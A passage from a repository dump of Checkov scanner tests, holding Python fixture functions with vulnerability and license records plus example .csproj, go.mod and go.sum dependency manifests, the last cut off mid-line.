\"IsUsed\": True,\n                \"ReachableFunction\": True,\n            },\n            \"impactedVersions\": [\"<=1.8.13\"],\n            \"publishedDate\": \"2016-08-05T17:59:00+02:00\",\n            \"discoveredDate\": \"2016-08-05T15:59:00Z\",\n            \"fixDate\": \"2016-08-05T17:59:00+02:00\",\n        },\n        {\n            \"id\": \"CVE-FAKE-444\",\n            \"status\": \"fixed in 1.9.8, 1.8.14\",\n            \"cvss\": 6.1,\n            \"vector\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\",\n            \"description\": \"Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function ...\",\n            \"severity\": \"medium\",\n            \"packageName\": \"package4\",\n            \"packageVersion\": \"4.4.4\",\n            \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2016-6186\",\n            \"riskFactorsV2\": {\n                \"Attack complexity\": \"low\",\n                \"Attack vector\": \"network\",\n                \"IsUsed\": False,\n                \"ReachableFunction\": True,\n            },\n            \"impactedVersions\": [\"<=1.8.13\"],\n            \"publishedDate\": \"2016-08-05T17:59:00+02:00\",\n            \"discoveredDate\": \"2016-08-05T15:59:00Z\",\n            \"fixDate\": \"2016-08-05T17:59:00+02:00\",\n        },\n    ]\n\n\ndef get_vulnerabilities_details_no_deps() -> List[Dict[str, Any]]:\n    return [{'cveId': 'PRISMA-2021-0013', 'status': 'fixed in 1.1.1', 'severity': 'medium', 'packageName': 'marked',\n             'packageVersion': '0.3.9', 'link': None, 'cvss': None, 'vector': None,\n             'description': 'marked package prior to 1.1.1 are vulnerable to  Regular Expression Denial of Service (ReDoS). The regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.  Origin: https://github.com/markedjs/marked/commit/bd4f8c464befad2b304d51e33e89e567326e62e0',\n             'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network'}, 'publishedDate': '2021-01-14T10:29:35Z'},\n            {'cveId': 'CVE-2022-21681', 'status': 'fixed in 4.0.10', 'severity': 'high', 'packageName': 'marked',\n             'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-5v2h-r2cx-5xgj', 'cvss': 7.5,\n             'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H',\n             'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings and lead to a denial of service (DoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.',\n             'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network'}, 'publishedDate': '2022-01-14T17:15:00Z'},\n            {'cveId': 'CVE-2022-21680', 'status': 'fixed in 4.0.10', 'severity': 'high', 'packageName': 'marked',\n             'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-rrrm-qjm4-v8hf', 'cvss': 7.5,\n             'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H',\n             'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `block.def` may cause catastrophic backtracking against some strings and lead to a regular expression denial of service (ReDoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.',\n             'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network'}, 'publishedDate': '2022-01-14T17:15:00Z'}\n            ]\n\n\ndef get_vulnerabilities_details_no_deps_is_used_packages() -> List[Dict[str, Any]]:\n    return [{'cveId': 'PRISMA-2021-0013', 'status': 'fixed in 1.1.1', 'severity': 'medium', 'packageName': 'marked',\n             'packageVersion': '0.3.9', 'link': None, 'cvss': None, 'vector': None,\n             'description': 'marked package prior to 1.1.1 are vulnerable to  Regular Expression Denial of Service (ReDoS). The regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.  Origin: https://github.com/markedjs/marked/commit/bd4f8c464befad2b304d51e33e89e567326e62e0',\n             'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network', 'IsUsed': 'True'}, 'publishedDate': '2021-01-14T10:29:35Z'},\n            {'cveId': 'CVE-2022-21681', 'status': 'fixed in 4.0.10', 'severity': 'high', 'packageName': 'marked',\n             'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-5v2h-r2cx-5xgj', 'cvss': 7.5,\n             'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H',\n             'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings and lead to a denial of service (DoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.',\n             'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network', 'IsUsed': 'True'}, 'publishedDate': '2022-01-14T17:15:00Z'},\n            {'cveId': 'CVE-2022-21680', 'status': 'fixed in 4.0.10', 'severity': 'high', 'packageName': 'marked',\n             'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-rrrm-qjm4-v8hf', 'cvss': 7.5,\n             'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H',\n             'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `block.def` may cause catastrophic backtracking against some strings and lead to a regular expression denial of service (ReDoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.',\n             'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network'}, 'publishedDate': '2022-01-14T17:15:00Z'}\n            ]\n\n\ndef create_cli_license_violations_table_wrapper(with_line_numbers: bool) -> str:\n    file_path = \"/requirements.txt\"\n\n    package_licenses_details_map = {\n        \"django@1.2\": [\n            {\n                \"package_name\": \"django\",\n                \"package_version\": \"1.2\",\n                \"license\": \"DUMMY_LICENSE\",\n                \"status\": \"OPEN\",\n                \"policy\": \"BC_LIC_1\",\n                \"lines\": [1, 2] if with_line_numbers else [0, 0]\n            },\n            {\n                \"package_name\": \"django\",\n                \"package_version\": \"1.2\",\n                \"license\": \"DUMMY_LICENSE2\",\n                \"status\": \"OPEN\",\n                \"policy\": \"BC_LIC_1\",\n                \"lines\": [1, 2] if with_line_numbers else [0, 0]\n            },\n        ],\n        \"django@1.12\": [\n            {\n                \"package_name\": \"django\",\n                \"package_version\": \"1.12\",\n                \"license\": \"DUMMY_LICENSE3\",\n                \"status\": \"OPEN\",\n                \"policy\": \"BC_LIC_1\",\n                \"lines\": [0, 0]\n            },\n        ],\n        \"flask@0.6\": [\n            {\n                \"package_name\": \"flask\",\n                \"package_version\": \"0.6\",\n                \"license\": \"DUMMY_LICENSE3\",\n                \"status\": \"OPEN\",\n                \"policy\": \"BC_LIC_1\",\n                \"lines\": [5, 6] if with_line_numbers else [0, 0]\n            },\n        ]\n    }\n\n    return create_cli_license_violations_table(\n        file_path=file_path,\n        package_licenses_details_map=package_licenses_details_map,\n        lines_details_found=with_line_numbers\n    )\n\n\ndef create_cli_output_wrapper(with_line_numbers: bool) -> str:\n    # given\n    rootless_file_path = \"requirements.txt\"\n    file_abs_path = \"/path/to/requirements.txt\"\n    check_class = \"checkov.sca_package_2.scanner.Scanner\"\n    packages = {\n        get_package_alias(\"django\", \"1.2\"): {\n            'package_registry': \"https://registry.npmjs.org/\",\n            'is_private_registry': False,\n            'lines': [1, 2] if with_line_numbers else [0, 0]\n        },\n        get_package_alias(\"flask\", \"0.6\"): {\n            'package_registry': \"https://registry.npmjs.org/\",\n            'is_private_registry': False,\n            'lines': [5, 6] if with_line_numbers else [0, 0]\n        }\n    }\n    dummy_package = {'package_registry': \"https://registry.npmjs.org/\", 'is_private_registry': False}\n    license_statuses = [\n        {\n            \"package_name\": \"django\",\n            \"package_version\": \"1.2\",\n            \"license\": \"DUMMY_LICENSE\",\n            \"status\": \"OPEN\",\n            \"policy\": \"BC_LIC_1\",\n        },\n        {\n            \"package_name\": \"django\",\n            \"package_version\": \"1.2\",\n            \"license\": \"DUMMY_LICENSE2\",\n            \"status\": \"OPEN\",\n            \"policy\": \"BC_LIC_1\",\n        },\n        {\n            \"package_name\": \"django\",\n            \"package_version\": \"1.12\",\n            \"license\": \"DUMMY_LICENSE_3\",\n            \"status\": \"OPEN\",\n            \"policy\": \"BC_LIC_2\"\n        },\n        {\n            \"package_name\": \"flask\",\n            \"package_version\": \"0.6\",\n            \"license\": \"DUMMY_OTHER_LICENSE\",\n            \"status\": \"OPEN\",\n            \"policy\": \"BC_LIC_1\",\n        }\n    ]\n    # when\n    cves_records = [\n        create_report_cve_record(\n            rootless_file_path=rootless_file_path,\n            file_abs_path=file_abs_path,\n            check_class=check_class,\n            vulnerability_details=details,\n            licenses='Unknown',\n            package=packages.get(get_package_alias(details[\"packageName\"], details[\"packageVersion\"]), dummy_package),\n            root_package={'name': \"django\", 'version': \"1.2\", 'lines': [1, 2] if with_line_numbers else [0, 0]},\n            used_private_registry=False\n        )\n        for details in get_vulnerabilities_details()\n    ]\n    license_records = [\n        create_report_license_record(\n            rootless_file_path=rootless_file_path,\n            file_abs_path=file_abs_path,\n            check_class=check_class,\n            licenses_status=license_status,\n            package=packages.get(get_package_alias(license_status[\"package_name\"], license_status[\"package_version\"]),\n                                 dummy_package),\n        )\n        for license_status in license_statuses\n    ]\n    cli_output: str = create_cli_output(True, cves_records + license_records)\n    return cli_output\n"
  },
  {
    "path": "tests/sca_package_2/examples/Microsoft.NET.Sdk.csproj",
    "content": "<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net7.0</TargetFramework>\n    <ImplicitUsings>enable</ImplicitUsings>\n    <Nullable>enable</Nullable>\n  </PropertyGroup>\n  <ItemGroup>\n    <PackageReference Include=\"AWSSDK.S3\" Version=\"3.7.101.28\" />\n    <PackageReference Include=\"DSInternals.Common\" Version=\"4.7.0\" />\n    <PackageReference Include=\"EnumStringValues\" Version=\"4.0.0\" />\n    <PackageReference Include=\"jQuery\" Version=\"3.0.0\" />\n    <PackageReference Include=\"log4net\" Version=\"2.0.9\" />\n    <PackageReference Include=\"Newtonsoft.Json\" Version=\"13.0.1\" />\n    <PackageReference Include=\"SendGrid\" Version=\"9.28.1\" />\n    <PackageReference Include=\"TinyMCE\" Version=\"6.3.0\" />\n  </ItemGroup>\n</Project>\n"
  },
  {
    "path": "tests/sca_package_2/examples/go.mod",
    "content": "module github.com/gruebel/checkov\n\nrequire (\n\tgithub.com/abbot/go-http-auth v0.4.0\n\tgithub.com/aryszka/jobqueue v0.0.2\n\tgithub.com/cenkalti/backoff v2.2.1+incompatible\n\tgithub.com/cjoudrey/gluahttp v0.0.0-20190104103309-101c19a37344\n\tgithub.com/cjoudrey/gluaurl v0.0.0-20161028222611-31cbb9bef199\n\tgithub.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd // indirect\n\tgithub.com/coreos/go-oidc v2.0.0+incompatible\n\tgithub.com/dgrijalva/jwt-go v3.2.0+incompatible\n\tgithub.com/dimfeld/httppath v0.0.0-20170720192232-ee938bf73598\n\tgithub.com/felixge/httpsnoop v1.0.0 // indirect\n\tgithub.com/ghodss/yaml v1.0.0\n\tgithub.com/go-redis/redis/v8 v8.3.3\n\tgithub.com/google/go-cmp v0.5.2\n\tgithub.com/hashicorp/memberlist v0.1.4\n\tgithub.com/instana/go-sensor v1.4.16\n\tgithub.com/lightstep/lightstep-tracer-go v0.24.1-0.20210318180546-a67254760a58\n\tgithub.com/looplab/fsm v0.1.0 // indirect\n\tgithub.com/miekg/dns v1.1.41 // indirect\n\tgithub.com/oklog/ulid v1.3.1\n\tgithub.com/opentracing/basictracer-go v1.0.0\n\tgithub.com/opentracing/opentracing-go v1.1.0\n\tgithub.com/pkg/errors v0.8.1\n\tgithub.com/pquerna/cachecontrol v0.0.0-20180517163645-1555304b9b35 // indirect\n\tgithub.com/prometheus/client_golang v1.0.0\n\tgithub.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a\n\tgithub.com/sanity-io/litter v1.1.0\n\tgithub.com/sarslanhan/cronmask v0.0.0-20190709075623-766eca24d011\n\tgithub.com/shirou/gopsutil v3.21.2+incompatible // indirect\n\tgithub.com/sirupsen/logrus v1.4.2\n\tgithub.com/sony/gobreaker v0.4.1\n\tgithub.com/stretchr/testify v1.6.1\n\tgithub.com/szuecs/rate-limit-buffer v0.7.1\n\tgithub.com/szuecs/routegroup-client v0.17.7\n\tgithub.com/tidwall/gjson v1.7.4\n\tgithub.com/tklauser/go-sysconf v0.3.5 // indirect\n\tgithub.com/uber-go/atomic v1.4.0 // indirect\n\tgithub.com/uber/jaeger-client-go v2.16.0+incompatible\n\tgithub.com/uber/jaeger-lib v2.0.0+incompatible\n\tgithub.com/yookoala/gofast v0.6.0\n\tgithub.com/yuin/gopher-lua v0.0.0-20200603152657-dc2b0ca8b37e\n\tgo.uber.org/atomic v1.4.0 // indirect\n\tgolang.org/x/crypto v0.0.0-20200622213623-75b288015ac9\n\tgolang.org/x/net v0.0.0-20210415231046-e915ea6b2b7d\n\tgolang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45\n\tgolang.org/x/sync v0.0.0-20210220032951-036812b2e83c\n\tgolang.org/x/sys v0.0.0-20210415045647-66c3f260301c // indirect\n\tgolang.org/x/tools v0.1.0 // indirect\n\tgoogle.golang.org/grpc v1.22.0 // indirect\n\tgopkg.in/alecthomas/kingpin.v2 v2.2.6\n\tgopkg.in/square/go-jose.v2 v2.3.1\n\tgopkg.in/yaml.v2 v2.4.0\n\tk8s.io/api v0.18.6\n\tk8s.io/apimachinery v0.18.6\n\tlayeh.com/gopher-json v0.0.0-20190114024228-97fed8db8427\n)\n\ngo 1.13\n"
  },
  {
    "path": "tests/sca_package_2/examples/go.sum",
    "content": "cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.38.0 h1:ROfEUZz+Gh5pa62DJWXSaonyu3StP6EA6lPEXPI6mCo=\ncloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=\ngithub.com/Azure/go-autorest/autorest v0.9.0/go.mod h1:xyHB1BMZT0cuDHU7I0+g046+BFDTQ8rEZB0s4Yfa6bI=\ngithub.com/Azure/go-autorest/autorest/adal v0.5.0/go.mod h1:8Z9fGy2MpX0PvDjB1pEgQTmVqjGhiHBW7RJJEciWzS0=\ngithub.com/Azure/go-autorest/autorest/date v0.1.0/go.mod h1:plvfp3oPSKwf2DNjlBjWF/7vwR+cUD/ELuzDCXwHUVA=\ngithub.com/Azure/go-autorest/autorest/mocks v0.1.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0=\ngithub.com/Azure/go-autorest/autorest/mocks v0.2.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0=\ngithub.com/Azure/go-autorest/logger v0.1.0/go.mod h1:oExouG+K6PryycPJfVSxi/koC6LSNgds39diKLz7Vrc=\ngithub.com/Azure/go-autorest/tracing v0.5.0/go.mod h1:r/s2XiOKccPW3HrqB+W0TQzfbtp2fGCgRFtBroKn4Dk=\ngithub.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=\ngithub.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=\ngithub.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=\ngithub.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=\ngithub.com/PuerkitoBio/urlesc v0.0.0-20160726150825-5bd2802263f2/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=\ngithub.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=\ngithub.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d h1:G0m3OIz70MZUWq3EgK3CesDbo8upS2Vm9/P3FtgI+Jk=\ngithub.com/StackExchange/wmi v0.0.0-20190523213315-cbe66965904d/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg=\ngithub.com/abbot/go-http-auth v0.4.0 h1:QjmvZ5gSC7jm3Zg54DqWE/T5m1t2AfDu6QlXJT0EVT0=\ngithub.com/abbot/go-http-auth v0.4.0/go.mod h1:Cz6ARTIzApMJDzh5bRMSUou6UMSp0IEXg9km/ci7TJM=\ngithub.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc h1:cAKDfWh5VpdgMhJosfJnn5/FoN2SRZ4p7fJNX58YPaU=\ngithub.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=\ngithub.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf h1:qet1QNfXsQxTZqLG4oE62mJzwPIB8+Tee4RNCL9ulrY=\ngithub.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=\ngithub.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da h1:8GUt8eRujhVEGZFFEjBj46YV4rDjvGrNxb0KMWYkL2I=\ngithub.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=\ngithub.com/aryszka/jobqueue v0.0.2 h1:LYPhzklo0XFpVF+QtzfP9XRQPEsbJ2EW5Pur6pxxaS4=\ngithub.com/aryszka/jobqueue v0.0.2/go.mod h1:SdxqI6HZ4E1Lss94tey5OfjcAu3bdCDWS1AQzzIN4m4=\ngithub.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=\ngithub.com/beorn7/perks v1.0.0 h1:HWo1m869IqiPhD389kmkxeTalrjNbbJTC8LXupb+sl0=\ngithub.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=\ngithub.com/cenkalti/backoff v2.2.1+incompatible h1:tNowT99t7UNflLxfYYSlKYsBpXdEet03Pg2g16Swow4=\ngithub.com/cenkalti/backoff v2.2.1+incompatible/go.mod h1:90ReRw6GdpyfrHakVjL/QHaoyV4aDUVVkXQJJJ3NXXM=\ngithub.com/cespare/xxhash/v2 v2.1.1 h1:6MnRN8NT7+YBpUIWxHtefFZOKTAPgGjpQSxqLNn0+qY=\ngithub.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=\ngithub.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=\ngithub.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=\ngithub.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=\ngithub.com/cjoudrey/gluahttp v0.0.0-20190104103309-101c19a37344 h1:nTK6O2RY1nHC4jNEJd1nixVP7ygY3QE4CNxCX07dHKU=\ngithub.com/cjoudrey/gluahttp v0.0.0-20190104103309-101c19a37344/go.mod h1:X97UjDTXp+7bayQSFZk2hPvCTmTZIicUjZQRtkwgAKY=\ngithub.com/cjoudrey/gluaurl v0.0.0-20161028222611-31cbb9bef199 h1:cJ1E8ZwZLfercTX3dywnCAQDilbbi+m2cw3+8tCFpRo=\ngithub.com/cjoudrey/gluaurl v0.0.0-20161028222611-31cbb9bef199/go.mod h1:jC+zrjHA5CaxJzn+tojIoIOzSp/6BlkRWXnMlxNkB+g=\ngithub.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=\ngithub.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd h1:qMd81Ts1T2OTKmB4acZcyKaMtRnY5Y44NuXGX2GFJ1w=\ngithub.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd/go.mod h1:sE/e/2PUdi/liOCUjSTXgM1o87ZssimdTWN964YiIeI=\ngithub.com/coreos/go-oidc v2.0.0+incompatible h1:+RStIopZ8wooMx+Vs5Bt8zMXxV1ABl5LbakNExNmZIg=\ngithub.com/coreos/go-oidc v2.0.0+incompatible/go.mod h1:CgnwVTmzoESiwO9qyAFEMiHoZ1nMCKZlZ9V6mm3/LKc=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM=\ngithub.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=\ngithub.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78=\ngithub.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc=\ngithub.com/dimfeld/httppath v0.0.0-20170720192232-ee938bf73598 h1:MGKhKyiYrvMDZsmLR/+RGffQSXwEkXgfLSA08qDn9AI=\ngithub.com/dimfeld/httppath v0.0.0-20170720192232-ee938bf73598/go.mod h1:0FpDmbrt36utu8jEmeU05dPC9AB5tsLYVVi+ZHfyuwI=\ngithub.com/docker/spdystream v0.0.0-20160310174837-449fdfce4d96/go.mod h1:Qh8CwZgvJUkLughtfhJv5dyTYa91l1fOUCrgjqmcifM=\ngithub.com/elazarl/goproxy v0.0.0-20170405201442-c4fc26588b6e/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc=\ngithub.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc=\ngithub.com/emicklei/go-restful v0.0.0-20170410110728-ff4f55a20633/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs=\ngithub.com/emicklei/go-restful v2.9.5+incompatible/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs=\ngithub.com/evanphx/json-patch v4.2.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk=\ngithub.com/felixge/httpsnoop v1.0.0 h1:gh8fMGz0rlOv/1WmRZm7OgncIOTsAj21iNJot48omJQ=\ngithub.com/felixge/httpsnoop v1.0.0/go.mod h1:3+D9sFq0ahK/JeJPhCBUV1xlf4/eIYrUQaxulT0VzX8=\ngithub.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=\ngithub.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=\ngithub.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=\ngithub.com/ghodss/yaml v0.0.0-20150909031657-73d445a93680/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=\ngithub.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk=\ngithub.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=\ngithub.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=\ngithub.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=\ngithub.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas=\ngithub.com/go-ole/go-ole v1.2.4 h1:nNBDSCOigTSiarFpYE9J/KtEA1IOW4CNeqT9TQDqCxI=\ngithub.com/go-ole/go-ole v1.2.4/go.mod h1:XCwSNxSkXRo4vlyPy93sltvi/qJq0jqQhjqQNIwKuxM=\ngithub.com/go-openapi/jsonpointer v0.0.0-20160704185906-46af16f9f7b1/go.mod h1:+35s3my2LFTysnkMfxsJBAMHj/DoqoB9knIWoYG/Vk0=\ngithub.com/go-openapi/jsonpointer v0.19.2/go.mod h1:3akKfEdA7DF1sugOqz1dVQHBcuDBPKZGEoHC/NkiQRg=\ngithub.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg=\ngithub.com/go-openapi/jsonreference v0.0.0-20160704190145-13c6e3589ad9/go.mod h1:W3Z9FmVs9qj+KR4zFKmDPGiLdk1D9Rlm7cyMvf57TTg=\ngithub.com/go-openapi/jsonreference v0.19.2/go.mod h1:jMjeRr2HHw6nAVajTXJ4eiUwohSTlpa0o73RUL1owJc=\ngithub.com/go-openapi/jsonreference v0.19.3/go.mod h1:rjx6GuL8TTa9VaixXglHmQmIL98+wF9xc8zWvFonSJ8=\ngithub.com/go-openapi/spec v0.0.0-20160808142527-6aced65f8501/go.mod h1:J8+jY1nAiCcj+friV/PDoE1/3eeccG9LYBs0tYvLOWc=\ngithub.com/go-openapi/spec v0.19.3/go.mod h1:FpwSN1ksY1eteniUU7X0N/BgJ7a4WvBFVA8Lj9mJglo=\ngithub.com/go-openapi/swag v0.0.0-20160704191624-1d0bd113de87/go.mod h1:DXUve3Dpr1UfpPtxFw+EFuQ41HhCWZfha5jSVRG7C7I=\ngithub.com/go-openapi/swag v0.19.2/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=\ngithub.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=\ngithub.com/go-redis/redis/v8 v8.3.3 h1:e0CL9fsFDK92pkIJH2XAeS/NwO2VuIOAoJvI6yktZFk=\ngithub.com/go-redis/redis/v8 v8.3.3/go.mod h1:jszGxBCez8QA1HWSmQxJO9Y82kNibbUmeYhKWrBejTU=\ngithub.com/go-restit/lzjson v0.0.0-20161206095556-efe3c53acc68/go.mod h1:7vXSKQt83WmbPeyVjCfNT9YDJ5BUFmcwFsEjI9SCvYM=\ngithub.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=\ngithub.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=\ngithub.com/gogo/protobuf v1.2.2-0.20190723190241-65acae22fc9d/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=\ngithub.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=\ngithub.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=\ngithub.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=\ngithub.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58=\ngithub.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod 